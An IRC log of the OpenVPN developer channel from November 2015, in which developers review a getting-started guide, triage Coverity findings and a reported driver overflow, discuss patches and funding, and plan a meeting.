Connection reset by peer] 03:01 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 06:37 -!- movrax [movrax@gateway/shell/anapnea.net/x-jwtvclikfgvuovyz] has quit [Ping timeout: 240 seconds] 08:17 <@plai> sigh I wrote nonsense in the manpage and nobody caught it 08:17 <@plai> Defaults to operation system default. 08:17 <@plai> (nonsense as a typo) 08:21 <@cron2_> I'm fine with that wording...? 08:25 <@plai> operating system :) 08:25 <@plai> no operation system 08:26 <@cron2_> ah 08:26 <@cron2_> that 08:26 <@cron2_> read it 4 times, still auto-corrected mentally 08:26 <@cron2_> AND I read it at commit time 08:27 <@plai> Yeah, me too 09:11 <@mattock1> many eyes make all bugs shallow? :P 09:46 <@cron2_> committee work 09:47 <@plai> all glory to the committee 09:51 <@cron2_> plai: you're much too polite... #37 - and I'm wary of such changes, tbh, because it needs really really good understanding of the code and all eventualities to get that changed without breaking one or the other option 09:51 <@cron2_> so, lots of work for small gain... 09:51 <@cron2_> OTOH, when working on such a code part, changes are fine :) 10:03 <@plai> cron2_: I would have close the ticket with my comment if I were allowed ;) 10:43 < ValdikSS> plai: actually I noticed it, and since my English is pretty bad I though that this is correct but not typical 14:09 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 246 seconds] 22:16 -!- krzee [~k@openvpn/community/support/krzee] has quit [Ping timeout: 240 seconds] 22:17 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 22:17 -!- mode/#openvpn-devel [+v krzee] by ChanServ 23:16 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 23:16 -!- mode/#openvpn-devel [+o mattock1] by ChanServ --- Day changed Wed Nov 04 2015 01:09 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 265 seconds] 01:10 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:10 -!- mode/#openvpn-devel [+o mattock] by ChanServ 01:22 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 240 seconds] 01:23 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 01:23 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 01:24 -!- dazo_afk is now known as dazo 01:25 -!- krzee [~k@openvpn/community/support/krzee] has quit [Ping timeout: 240 seconds] 01:55 < lev__> morning, is there any specific reason why replay-window cannot be inside <connection> block ? 01:56 < lev__> if config contains udp and tcp connection blocks, one cannot define replay-window because of "--replay-window only makes sense with --proto udp" 01:57 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 01:57 -!- mode/#openvpn-devel [+v krzee] by ChanServ 02:01 < lev__> if there are no specific reasons, I'd either change "-replay-window only makes sense with --proto udp" to warning or allow it inside connection block 02:12 <@cron2_> makes sense 02:12 <@cron2_> I think this is all historic baggage... <connection> is a somewhat new invention... 02:16 < lev__> cron2_: which option is preferable? 02:18 <@cron2_> I've never seen the need to use --replay-windows, but supposedly it is "for this server!", so <connection> would make sense. OTOH, make the error a warning would make it possible to set it globally (=less clutter in <connection>), so good arguments for both 04:11 <@plai> lev__, cron2_: Apart from the fact that replay-windows nees to be enabled with tcp for full OpenVPN 3 compatibility ;) 04:12 <@plai> See [Openvpn-devel] OpenVPN protocol extensions update 04:12 <@plai> and TCP nonlinear mode 04:16 <@plai> I agree that replay-window is connection specfic 04:16 <@plai> but then again it only defines what you going to accept as out of order packets 04:16 <@plai> you can also set that globally 06:15 <@vpnHelper> RSS Update - wishlistfeed: OpenVPN for linux <http://forums.openvpn.net/topic20070.html> 06:17 <@cron2_> brr 06:18 <@cron2_> http://sourceforge.net/projects/openvpn-als/ 06:18 <@vpnHelper> Title: OpenVPN ALS download | SourceForge.net (at sourceforge.net) 06:18 <@cron2_> we should slap them 06:18 <@cron2_> argh 06:18 <@cron2_> this is actually openvpn tech folks behind that, it seems... but I still thing this is silly and confusing, to name that "OpenVPN" when it is not 06:21 <@dazo> cron2_: If my memory serves me right, I believe this is how mattock1 got involed in ovpn tech .... 06:22 <@cron2_> this might be :-) 06:22 <@cron2_> OpenVPN ALS 06:22 <@cron2_> Brought to you by: francisdinha, mattock 06:22 <@cron2_> I think there are stories to be told at beer... :) 06:23 <@dazo> absolutely! 06:23 * dazo need to run ... back in a while 06:24 -!- dazo is now known as dazo_afk 08:01 -!- dazo_afk is now known as dazo 09:04 <@mattock1> cron2: you're correct 09:04 <@mattock1> it used to be called SSL-Explorer, then I forked it as Adito, then Francis wanted the name changed to OpenVPN-ALS 09:04 <@mattock1> and then it was dumped, basically 09:08 <@mattock1> the SSL-Explorer product was GPLv2 originally, then the company behind it was bought by Barracuda Networks and the code was closed down 09:08 <@mattock1> then no more releases were made, except those integrated to some Barracuda appliances 09:09 <@mattock1> so it went as closed as it can possibly go 09:15 <@cron2_> so what is the state of OpenVPN ALS now? 09:15 <@cron2_> I'm asking because one of my colleagues at work went out to find an alternative to Juniper SSL VPN stuff, and is now testing OpenVPN ALS... which of course got my attention :-) 10:55 <@mattock1> cron2: the project has been effectively abandoned for like 4 years 10:55 <@cron2_> amazing :) 10:55 <@cron2_> my colleague is so totally up to date with tech 10:56 <@mattock1> the problem with it was that it was a typical fairly huge and complex Java software 10:56 <@cron2_> ouch 10:56 <@mattock1> very difficult to contribute to, unless you were determined to use lots of time to learn it 10:56 <@cron2_> I was about to ask "is it worth reviving" 10:56 <@mattock1> no :) 10:57 <@mattock1> there were never enough developer interest in it 10:57 <@mattock1> there were actually zero developers for it, unless you count one developer from my earlier employer and one from OpenVPN Tech who worked on it for a while 10:58 <@mattock1> and a few really crappy guys from Bangladesh who did basically nothing but were cheap :D 10:58 <@cron2_> haha :) 10:58 <@cron2_> but otherwise, yes, typical open source problem :-( - starts great, too complex to contribute, dies... 10:59 <@mattock1> most of what one could achieve with SSL-Explorer and the forks you can do with OpenVPN or with Apache2/nginx reverse proxies and such 10:59 <@mattock1> yeah, the company behind the software (3sp) made pretty much all the mistakes one can make with communities 11:00 <@mattock1> they did not have development versions available, no way to report bugs, etc. 11:00 <@mattock1> plus it was open core, which is always bad 11:00 <@mattock1> it was basically open source for marketing purposes 11:01 <@mattock1> I say "let it rot" :) 11:01 <@mattock1> a few weak attempts have been made to revive it, but those got nowhere 11:01 <@mattock1> like "no releases, just a bit of talk" 11:01 <@cron2_> oh, never heard "open core" yet, but that term makes sense 11:02 <@mattock1> basically it's an open source core, with enterprise (proprietary) extensions on top of it, if you buy the commercial version 11:02 <@dazo> hmmm ... sounds like OpenVPN AS ..... *ducks* 11:02 <@mattock1> things like LDAP authentication are typically "enterprise" features 11:03 <@mattock1> dazo: well, not that much really 11:03 <@cron2_> yay 11:03 <@mattock1> OpenVPN itself is very enterprisey in itself :) 11:03 <@mattock1> it's "Access Server for Real Men" 11:04 <@cron2_> without milk and sugar 11:04 <@mattock1> exactly :P 11:04 <@dazo> mattock1: well, you don't get all the whistles and blings .... you need to build that yourself 11:04 <@mattock1> yeah 11:04 <@dazo> out of the box, openvpn only provides auth-pam support, which needs to be configured manually 11:05 <@dazo> you can *make* openvpn be enterprisy, but it requires some efforts 11:05 <@dazo> out-of-the box, it's a simple VPN 11:06 <@cron2_> need to change trains... bbl 11:06 <@mattock1> dazo: simple except from the inside :D 11:08 <@dazo> btw ... I've been writing a little bit on a new and updated "getting started" how-to for openvpn ... would anyone like to give it a peek before we decide if we should put it somewhere? 11:09 <@mattock1> dazo: I can do it 11:10 <@dazo> mattock1: http://fpaste.org/286919/56736144/ 11:13 <@mattock1> looking 11:16 <@mattock1> line 72 missing < > around the URL 11:19 <@dazo> line 112 too, and spotted a spelling mistake in line 204 11:20 <@mattock1> line 107: "It does not provide any type of forward protection" - maybe mention "perfect forward secrecy"? 11:20 <@mattock1> that's the official term I believe 11:20 <@dazo> I think you're right 11:21 <@dazo> https://en.wikipedia.org/wiki/Forward_secrecy ... yupp! 11:21 <@mattock1> line 114: "The PKI mode resolves many of these issues static encryption have": have -> has 11:21 <@vpnHelper> Title: Forward secrecy - Wikipedia, the free encyclopedia (at en.wikipedia.org) 11:22 <@mattock1> lines 117-119: "There exists plenty of alternatives for CA management, and you do not need to go any where to buy yourself new certificates.": I believe it's actually _less_ secure to use keys from a commercial CA 11:22 <@mattock1> doesn't that allow anyone with a certificate from the said CA to connect to the VPN? 11:22 <@dazo> ouch ... I meant to say "You should not..." 11:23 <@mattock1> yeah 11:23 * dazo rephrases 11:24 <@mattock1> line 123 missing < > 11:25 <@mattock1> same on line 160 11:26 <@dazo> "There exists plenty of alternatives for CA 11:26 <@dazo> management. You should NOT go any where to buy yourself new certificates, 11:26 <@dazo> that will make the VPN tunnel much less secure, unless you add extra 11:26 <@dazo> authentication layers; in addition to that a commercial certificate for 11:26 <@dazo> OpenVPN does not provide you with any additional benefits. You will need to 11:26 <@dazo> control your own CA for optimal security." 11:27 <@dazo> gee ... too long sentence 11:27 <@mattock1> I prorpose "as that will make..." 11:27 <@mattock1> then maybe drop the last sentence? 11:27 <@dazo> yeah 11:28 <@dazo> "There exists plenty of alternatives for CA 11:28 <@dazo> management. You should NOT go any where to buy yourself new certificates as 11:28 <@dazo> that will make the VPN tunnel much less secure (unless you add extra 11:28 <@dazo> authentication layers). In addition to that a commercial certificate for 11:28 <@dazo> OpenVPN does not provide you with any additional benefits. You will need to 11:28 <@dazo> control your own CA for optimal security." 11:28 <@dazo> missing a comma, "to that, a comm..." 11:28 <@mattock1> line 187: "the client have in its local ca-crt.pem file.": have -> has 11:31 <@mattock1> line 202: maybe rephrase it as "to secure the exchange of temporary encryption key for the OpenVPN session"? 11:31 <@mattock1> not that there's any error in there as it is 11:32 <@dazo> what's the original sentence? the line numbers have some offset issues now :) 11:32 <@mattock1> "to agree on a temporary encryption key for this OpenVPN session." 11:33 <@dazo> much better with your suggestion 11:35 <@mattock1> line 234: https://community.openvpn.net/openvpn/wiki/Openvpn23ManPage missing < > 11:35 <@vpnHelper> Title: Openvpn23ManPage – OpenVPN Community (at community.openvpn.net) 11:35 <@dazo> all urls should be fixed now 11:35 <@mattock1> line 240-240: "These authentication layers in this section is purely optional" -> "The authentication layers in this section are purely optional" 11:36 <@mattock1> dazo: ok, I won't bother you with those then :) 11:36 <@mattock1> 240-241 I meant 11:36 <@dazo> yeah, found and fixed :) 11:37 <@mattock1> and maybe continue to the next sentence like this: 11:37 <@mattock1> "The authentication layers in this section are purely optional, but it is advisable to add at least one of them." 11:38 * dazo rephrased another paragraph 11:39 <@dazo> "If it doesn't match, OpenVPN 11:39 <@dazo> will drop the packet. When coupled with UDP, this can also be a good way to 11:39 <@dazo> avoid troubles with port scanners; as it will not see the OpenVPN port at all." 11:41 <@mattock1> lines 298-299: "If it is found there, the client connection will be rejected.": maybe "Clients which have their certificate in the CRL will not be able to connect."? 11:42 <@dazo> Agreed 11:44 <@mattock1> line 346: "And then it is needed to configure IP addresses.": maybe "Then you need to configure..." or "Next we will configure..."? 11:45 <@dazo> yeah ... I did a mixture: "Next we will need to configure IP addresses." 11:47 <@mattock1> lines 390-391: "All you need now is to add the needed routes you need.  The theory about such routing is the same as normal TCP/IP routing.": perhaps "All you need to do now is to add the routes you need, just like you would for normal TCP/IP routing."? 11:49 <@dazo> Yeah, better! 11:50 <@mattock1> line 440: "There are a few more steps which may need to be configured": steps -> things 11:50 <@mattock1> or "steps left" or "steps to go through" or similar 11:51 <@mattock1> also "but that is" -> "but those are" 11:51 <@dazo> yeah, things ... but those are ... sounds best 11:52 <@dazo> (steps to go through is better, but require a bigger rephrase) 11:55 <@mattock1> very good quickstart in my opinion 11:56 <@mattock1> I did not see any obvious issues with on the technical side 11:56 <@mattock1> I'll go cook now 11:56 <@dazo> I have not tested these config suggestions ... but they should work (last famous words) 11:57 <@dazo> But I can put it in our wiki 12:27 <@mattock1> dazo: sounds good! 12:45 <@dazo> mattock1: getting "Genshi UnicodeEncodeError error while rendering template (unknown template location)" when I try to preview a new wiki page 12:45 <@dazo> any ideas? 12:55 * dazo got a bit further 13:19 <@mattock1> dazo: yes, the parser chokes on something, can't tell off the bat what it is 13:19 <@mattock1> some tickets have had this issue 13:19 <@dazo> seems to have been some \n in the the text 13:24 <@dazo> okay, here it is: https://community.openvpn.net/openvpn/wiki/GettingStartedwithOVPN 13:24 <@vpnHelper> Title: GettingStartedwithOVPN – OpenVPN Community (at community.openvpn.net) 13:36 <@cron2_> wheee... I sit in a train with no internet, and you start talking like there is no tomorrow :) 13:39 * cron2_ is amazed 14:50 -!- dazo is now known as dazo_afk 15:06 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 268 seconds] 17:10 < ValdikSS> Guys, please say something about block-outside-dns patch. No response is the worst. I'd like it to be included in 2.3.9. 17:10 < ValdikSS> AFAIK only lev__ has tested it and it doesn't work very well for him. 17:30 -!- pekster [~rewt@openvpn/community/developer/pekster] has quit [Ping timeout: 246 seconds] 17:32 -!- pekster [~rewt@openvpn/community/developer/pekster] has joined #openvpn-devel 17:32 -!- mode/#openvpn-devel [+o pekster] by ChanServ 17:50 -!- cron2_ [~gert@openvpn/community/developer/cron2] has quit [Ping timeout: 264 seconds] 18:09 -!- s7r [~s7r@openvpn/user/s7r] has quit [Ping timeout: 264 seconds] 18:11 -!- ValdikSS [~valdikss@95.215.45.33] has quit [Ping timeout: 244 seconds] 18:31 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn-devel 18:31 -!- valdikss [~valdikss@95.215.45.33] has joined #openvpn-devel --- Day changed Thu Nov 05 2015 01:20 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:20 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 02:39 <@plai> valdikss: it is the typical windows patch problem I am afraid 02:39 <@plai> I think we need that code but I cannot test it 03:14 <@syzzer> ValdikSS: same thing here. I'm not a regular Windows user (and if I use it, it's 7....) 03:15 <@syzzer> maybe Selva or Russell (on the -devel ml) can help out here? They seem to be active openvpn on windows users. 04:01 -!- dazo_afk is now known as dazo 04:09 <@plai> so Finnland has now its own emojis 04:09 <@plai> http://finland.fi/life-society/the-headbanger-throws-his-phone-away-and-goes-to-sauna/ 04:09 <@vpnHelper> Title: The headbanger throws his phone away and goes to sauna - thisisFINLAND (at finland.fi) 04:09 <@plai> and they start with a headbanging metalhead 04:09 <@plai> "The Headbanger. It is dark in Finland and so is the music. There's a small headbanger living inside of each Finn." 06:13 <@syzzer> hmm, anyone seen this: https://github.com/Rootkitsmm/OpenVpn-Pool-Overflow/blob/master/README.md 06:13 <@vpnHelper> Title: OpenVpn-Pool-Overflow/README.md at master · Rootkitsmm/OpenVpn-Pool-Overflow · GitHub (at github.com) 06:14 <@syzzer> it says "this vulnerability is reported to OpenVpn.", but I haven't seen anything? 06:15 <@plai> I am not on security@ 06:15 <@syzzer> I am, but have not seens anything 06:15 <@plai> and why the hell does he do dissambly when source code is available? 06:17 <@syzzer> yes, that's awkward, but not very uncommon for these kind of people. They are just more used to staring at assembly I guess 06:19 <@mattock1> I didn't know there was finland.fi site 06:23 < lev__> me too, but on the other side I was aware of russian.fi 06:40 <@syzzer> ok, so just looked into this claim a bit. Seems to be a classical buffer overflow in the NDIS6 driver 06:40 <@syzzer> mattock1: can you poke james on this? 07:20 <@d12fk> plai: is there any place where the actual local address and port for a connection is stored? 07:20 <@d12fk> couldn't find one, just several places for the remote address 07:21 <@d12fk> could likn_socket_actual be extended to hold the local sockaddr as well? 07:21 <@d12fk> thinking about extending the mgmt state command further to also hold the remote port and local addr/port 07:22 <@d12fk> unsless you specify "local" there's currently no way to find out the local address 08:49 -!- riddle [riddle@us.yunix.net] has quit [Ping timeout: 250 seconds] 08:51 -!- riddle [riddle@us.yunix.net] has joined #openvpn-devel 08:58 <@mattock1> syzzer: I'll send mail to james 09:02 <@mattock1> sent 11:01 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 11:01 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 11:02 -!- arlen_ [~arlen@2600:3c00:e000:d6::5] has joined #openvpn-devel 11:09 -!- Netsplit *.net <-> *.split quits: @plai, Eagle_Erwin, reators, arlen 11:09 -!- arlen_ is now known as arlen 11:52 -!- cron2 [~gert@openvpn/community/developer/cron2] has joined #openvpn-devel 11:52 -!- mode/#openvpn-devel [+o cron2] by ChanServ 11:52 <@cron2> *yawn* 12:46 <@syzzer> cron2: bored? ;) 12:52 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 240 seconds] 13:11 <@cron2> tired... long day... out in the woods teaching people to do IPv6 13:16 <@cron2> and I misssed all the excitement 13:17 <@cron2> but it seems there will be a busy week building new installers Real Soon Now... 13:21 < valdikss> cron2: oh, maybe you can help me. Do you know _anything_ to control policy routing in Linux automatically? 13:21 < valdikss> cron2: like a script, a daemon or a program? Even static policies are fine. 13:22 <@cron2> ip rule 13:22 < valdikss> cron2: sure, but that's not automatic 13:22 <@cron2> you define routing tables (ip route ... table nnn) and then you force traffic into tables by use of ip rule 13:23 <@cron2> well, write a script to call "ip route" and "ip rule"? what is it that you want to achieve? 13:23 < valdikss> cron2: I mean something that would re-add routes if the interface goes down for example 13:23 < valdikss> cron2: yes, right now I have my own scripts, but there should be something more powerful. 13:24 <@cron2> ah. That is very distribution dependent, I'm afraid... there is stuff running on ifup/ifdown handlers, but every distribution does it differently and I long gave up trying to understand this 13:33 <@cron2> who did the coverity scan, and why did James receive his copy 30 minutes before me? 13:33 <@cron2> (and how do we teach coverity to not be so stupid about msg(M_WARN)? 13:34 <@syzzer> haha, the scan was me 13:34 <@cron2> cool, so you got it going 13:34 <@syzzer> finally got to it 13:34 <@syzzer> was quite simple actually 13:34 <@cron2> half the RESOURCE LEAK messages look bogus on first glance too but I need to check more closely 13:35 <@syzzer> just wanted to make sure to do at a time where I had a bit of time to handle any fallout ) 13:35 <@cron2> indeed there is one true bug in write_pid() ("hwo stupid is that") 13:36 <@syzzer> null dereference? 13:36 <@cron2> yep 13:36 <@syzzer> that is could by msg(M_ERR) 13:36 <@cron2> no 13:36 <@syzzer> caught 13:36 <@cron2> M_ERR is not M_FATAL 13:36 <@syzzer> not? 13:36 <@cron2> is itß 13:36 <@cron2> ? 13:36 <@cron2> *looks* 13:36 <@syzzer> #define M_ERR (M_FATAL | M_ERRNO) 13:36 <@cron2> oh 13:37 <@cron2> good :) 13:37 <@syzzer> so looks like it found nothing interesting :) 13:37 <@cron2> what about the ssl_openssl.c one? How did it get on the wrong track there? 13:38 <@syzzer> hmm, where do my comments go? 13:38 <@syzzer> I actually wrote a descriptive comment as to why I dismissed a number of them 13:38 <@syzzer> ah, 'triage history' 13:39 <@syzzer> same thing here, M_SSLERR if M_FATAL 13:39 <@syzzer> *is 13:39 <@cron2> ah, so the assumption "if (overrun) something_is_done;" is "so after that, overrun could be true!" is still confusing coverity :) 13:40 <@cron2> like with ASSERT() ("if they test for it, there is a chance this condition will happen!") 13:40 <@syzzer> yes 13:40 <@cron2> meh 13:40 <@syzzer> it does seem to get the ASSERT() now 13:40 <@cron2> but false positives are better than real bugs :) 13:40 <@cron2> indeed, thanks for fixing1 13:41 <@syzzer> let's see if I can get coverity to understand M_FATAL stuff 13:41 <@cron2> how? 13:42 <@syzzer> 'modeling files' 13:43 <@syzzer> no clue yet how they exactly work and if they are flexible enough 13:43 <@cron2> this is sort of extra input to coverity? 13:43 <@syzzer> yes, you tell it stuff like 'this function will not return' 13:47 <@syzzer> nope, does not seem to be flexible enough 13:48 <@cron2> :( 13:50 <@cron2> maybe turn msg() into a macro that explicitely calls _exit() for these cases, just to make coverity happy? 13:50 <@cron2> it's a macro anyway... and the compiler might be smart enough to optimize away the _exit() calls for all non-FATAL cases 13:51 <@cron2> and add a condition to silence M_WARN :) 14:01 < valdikss> That guy who wanted to translate gui to Ukrainian asks if he can add a link to his website to the file 14:03 < valdikss> That's pointless, but maybe there is a "thanks" page where we can mention him? 14:10 <@syzzer> valdikss: tbh I really wouldn't know. I think we have names and email addresses in some files. 14:12 <@syzzer> cron2: yeah, will try something like that now. Tries massaging their modeling file suggestions, but doesn't seem to work like I want it to. 14:14 < valdikss> And once again, guys, I suggest that OpenVPN should be on flattr 14:14 * cron2 puts that on mattocks agenda for monday... 15:08 <@syzzer> ha, adding a trivial test to the msg() macro works as expected, 'eliminated 15:08 <@syzzer> ' 13 defects on coverity 15:08 <@syzzer> patch on the list :) 15:13 <@cron2> good :) 15:13 <@cron2> review and merge later 15:53 <@cron2> syzzer: the EXIT_FATAL() macro actually does not need the do...while(false) dance 15:54 <@cron2> this is only needed for msg(), to ensure that 15:54 <@cron2> if (foo) 15:54 <@cron2> msg(...) 15:54 <@cron2> else 15:54 <@cron2> ... 15:55 <@cron2> will work, without "msg()" changing the "else" branch to be relative to "if(MSG_TEST())" 15:57 <@syzzer> hm, for the current code that indeed holds, but isn't it a good habit to make your macro 15:57 <@syzzer> safe anyway 15:57 <@syzzer> (what is this thing with me hitting enter prematurely recently :/ ) 15:58 <@syzzer> I actually considered using static inline, as that would probably be The Right Thing, but that would really not fit into the surrounding code style... 16:05 <@cron2> ok, good arguments 16:06 <@cron2> anyway, need sleep now 16:07 <@syzzer> good night :) 16:13 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Ping timeout: 240 seconds] 16:17 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 16:17 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 17:31 <@dazo> syzzer: I'd say that static inline will probably be easier to read ... and the compiler is often clever enough these days to optimize static inline to be pretty close to the macro anyhow 17:32 <@dazo> (but yeah, I see that is a bigger job, though) 18:07 -!- dazo is now known as dazo_afk 23:23 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 23:23 -!- mode/#openvpn-devel [+o mattock1] by ChanServ --- Day changed Fri Nov 06 2015 00:38 -!- arlen [~arlen@2600:3c00:e000:d6::5] has quit [Quit: exit] 00:39 -!- arlen [~arlen@jarvis.arlen.io] has joined #openvpn-devel 03:34 <@syzzer> dazo_afk: yes, I think static inline is better too, but I also think consistency is important. I would probably ACK a patch that makes a consistent switch to using static inline ;) 04:44 -!- dazo_afk is now known as dazo 06:48 -!- s7r [~s7r@openvpn/user/s7r] has quit [Quit: sigterm] 06:48 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn-devel 06:49 -!- valdikss [~valdikss@95.215.45.33] has quit [Ping timeout: 265 seconds] 06:50 -!- valdikss [~valdikss@95.215.45.33] has joined #openvpn-devel 08:58 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 252 seconds] 13:47 -!- dazo is now known as dazo_afk 14:53 <@cron2> syzzer: I might be a bit daft... but why are we not just freeaddrinfo()'ing netlist in master? 14:53 <@cron2> as far as I see, it's being copied-out and could be freed afterwards... 14:58 <@cron2> plaisthos introduced that in e719a053, but while I ACKed it, it's part of a much larger set and I'm not sure I still understand the reason why it was done *there* 15:16 <@vpnHelper> RSS Update - gitrepo: Fix termination when windows suspends/sleeps <https://github.com/OpenVPN/openvpn/commit/ea66a2b5cdb21422139c421b4d3733e1c1c3937e> --- Day changed Sat Nov 07 2015 01:15 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:16 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 02:55 <@cron2> !git 02:55 <@vpnHelper> "git" is (#1) For the stable git tree: git clone git://git.code.sf.net/p/openvpn/openvpn or (#2) For the development git tree: git://git.code.sf.net/p/openvpn/openvpn-testing or (#3) Browse the git repositories here: http://sourceforge.net/p/openvpn/openvpn-testing/ci/master/tree/ or (#4) See !git-doc how to use git or (#5) git troubles? http://justinhileman.info/article/git-pretty/git-pretty.png or 02:55 <@vpnHelper> (#6) for the windows TUN/TAP driver repo, look at !tapdrvr or (#7) http://xkcd.com/865/ 02:55 <@cron2> !gui 02:55 <@cron2> !windows 02:55 <@vpnHelper> "windows" is (#1) pcs are like air conditioners, they work fine unless you open windows or (#2) http://secure-computing.net/files/windows.jpg for funny or (#3) http://secure-computing.net/files/windows_2.jpg for more funny 02:55 <@cron2> !windowsgui 08:51 -!- roentgen [~none@unaffiliated/roentgen] has joined #openvpn-devel 15:22 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 265 seconds] 15:33 -!- s7r_ [~s7r@openvpn/user/s7r] has joined #openvpn-devel 15:33 -!- s7r [~s7r@openvpn/user/s7r] has quit [Max SendQ exceeded] 17:24 -!- s7r_ is now known as s7r --- Day changed Sun Nov 08 2015 01:16 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:16 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 03:51 -!- roentgen [~none@unaffiliated/roentgen] has quit [Remote host closed the connection] 05:21 <@syzzer> cron2: you might very well be right, I didn't look at the big picture, just at making that piece of code do what it was intended to 08:16 <@cron2> syzzer: yeah, waiting for plaisthos to share some insights here :) 09:05 <@syzzer> cron2: are you the one who decides to grant people access (or not) to the coverity project? 09:05 <@syzzer> I have the powers, but don't feel like the right person to do so :) 09:23 -!- roentgen [~none@unaffiliated/roentgen] has joined #openvpn-devel 14:42 <@cron2> I am, yes, and thanks for reminding me that there is an oepn request 14:46 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 244 seconds] --- Day changed Mon Nov 09 2015 01:09 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:09 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 02:23 -!- reators [~holger@2001:1a80:2000:2:49a1:2e78:ccc7:a869] has joined #openvpn-devel 02:26 <@mattock1> meeting today? 02:35 <@syzzer> mattock1: works for me 02:47 <@mattock1> ok 03:34 <@cron2> yep 03:34 <@mattock1> looks like we have meeting then 03:35 <@mattock1> I'll setup the agenda 03:49 <@cron2> valdikss wants to send us money and keeps bringing up flattr... 03:59 <@mattock1> yeah, flattr would be nice to have 03:59 <@mattock1> I use it to contribute to some projects 03:59 <@mattock1> but the problem is who would get the money? 03:59 <@mattock1> actually, Derek Zimmermann from OSTIF.org might be joining today 04:00 <@mattock1> I suspect he'll want to talk about money, too :P 04:00 <@mattock1> unless he prefers to lurk at first 04:03 <@mattock1> ok here it is: https://community.openvpn.net/openvpn/wiki/Topics-2015-11-09 04:03 <@vpnHelper> Title: Topics-2015-11-09 – OpenVPN Community (at community.openvpn.net) 04:03 <@mattock1> please add/remove patches to review as needed 04:07 <@cron2> mattock1: my suggestion would be to use the money for hackathon funding - depending on the amount coming in, just food and beer, or possibly travel/hotel funding 04:07 <@cron2> but this is something we should discuss tonight 04:10 <@mattock1> yes, that would be a reasonably fair way to distribute it 04:10 <@mattock1> travel funding in particular 04:11 <@syzzer> updated agenda :) 04:11 <@mattock1> that said, OSTIF's plan are to get funding from various VPN providers (and probably other parties), and to setup bounties and possibly direct development funding if enough money pours in 04:11 <@mattock1> but again, this we can discuss later :) 04:21 -!- mator [~mator@195.170.63.163] has joined #openvpn-devel 04:40 <@mattock1> I'll send the meeting invitation now 04:43 <@mattock1> oh, one question before I do that 04:43 <@mattock1> do we arrange the meeting on #openvpn-meeting channel? 04:44 <@mattock1> I vote yes 04:52 -!- valdikss [~valdikss@95.215.45.33] has quit [Remote host closed the connection] 05:06 -!- valdikss [~valdikss@95.215.45.33] has joined #openvpn-devel 05:24 <@cron2> "you invite, you decide" :) 05:30 <@vpnHelper> RSS Update - tickets: #626: Routing entry not deleted when MAC address moves from client to server <https://community.openvpn.net/openvpn/ticket/626> 06:20 <@mattock1> :) 06:21 <@mattock1> sent 06:25 < valdikss> What's about block-outside-dns? 06:27 < valdikss> I wrote a message to Selva Nair and Simon Deziel but they both are kinda busy. 06:31 <@cron2> what's the current state of affairs regarding compilation for WinXP? 06:32 <@cron2> (I haven't checked the most recent patch yet, so I haven't seen whether it's #ifdef'ed to allow compilation there - which is a strong MUST for 2.3 inclusion) 06:32 <@cron2> for master, we officially do not support XP, so we don't care there 07:24 < valdikss> cron2: well, it would work but it needs buildsystem to be fixed too 07:25 < valdikss> cron2: The code itself is fine, it would compile on XP, but the buildsystem would try to link libraries which is not available 07:53 <@cron2> valdikss: ideed... 07:54 <@cron2> oh, ack from jjk, work for me... 07:54 <@vpnHelper> RSS Update - tickets: #627: "learn-address delete" not executed <https://community.openvpn.net/openvpn/ticket/627> 08:07 <@mattock1> valdikss: I've heard rumours that Microsoft might be fixing the DNS issue in Windows Insider previews, but those have not been confirmed 08:08 <@mattock1> some guy suggested that the latest version might have fixed the issue, but in our internal testing that seemed not to be the case 08:13 < valdikss> mattock1: that's nice if that's true 08:33 <@mattock1> let's keep a close eye on what's happening in MS, but I would not hold my breath quite yet 10:28 <@cron2> mattock1: oh, btw, who is maintaining the ubuntu and arch buildbots? 10:28 <@cron2> both are failing with "polarssl 1.3.3 or higher required" since quite a while 10:45 <@vpnHelper> RSS Update - gitrepo: polarssl: add --verify-client-cert optional support <https://github.com/OpenVPN/openvpn/commit/f107c62051ebbf4a2b661fcba8703fe26485c7af> || Author: Jan Just Keijser <https://github.com/OpenVPN/openvpn/commit/b8cdb213d4fa5a56074115faceb2e0da373bab8f> 11:23 <@mattock1> cron2: oh, the ubuntu buildbot is mine, I needed to rebuild it 11:23 <@mattock1> and polarssl was installed manually, so I forgot all about it 11:24 <@mattock1> the arch one is maintained by somebody else (shown in the buildslave info) 11:30 * plaisthos is at sport today, otherwise I would put my two patches on the agend (compv2 and timeout) 12:57 <@syzzer> good evening :) 12:58 <@cron2> Mahlzeit! 13:07 <@mattock1> howdy 13:09 <@syzzer> ah, here's a mattock1! 13:09 <@syzzer> 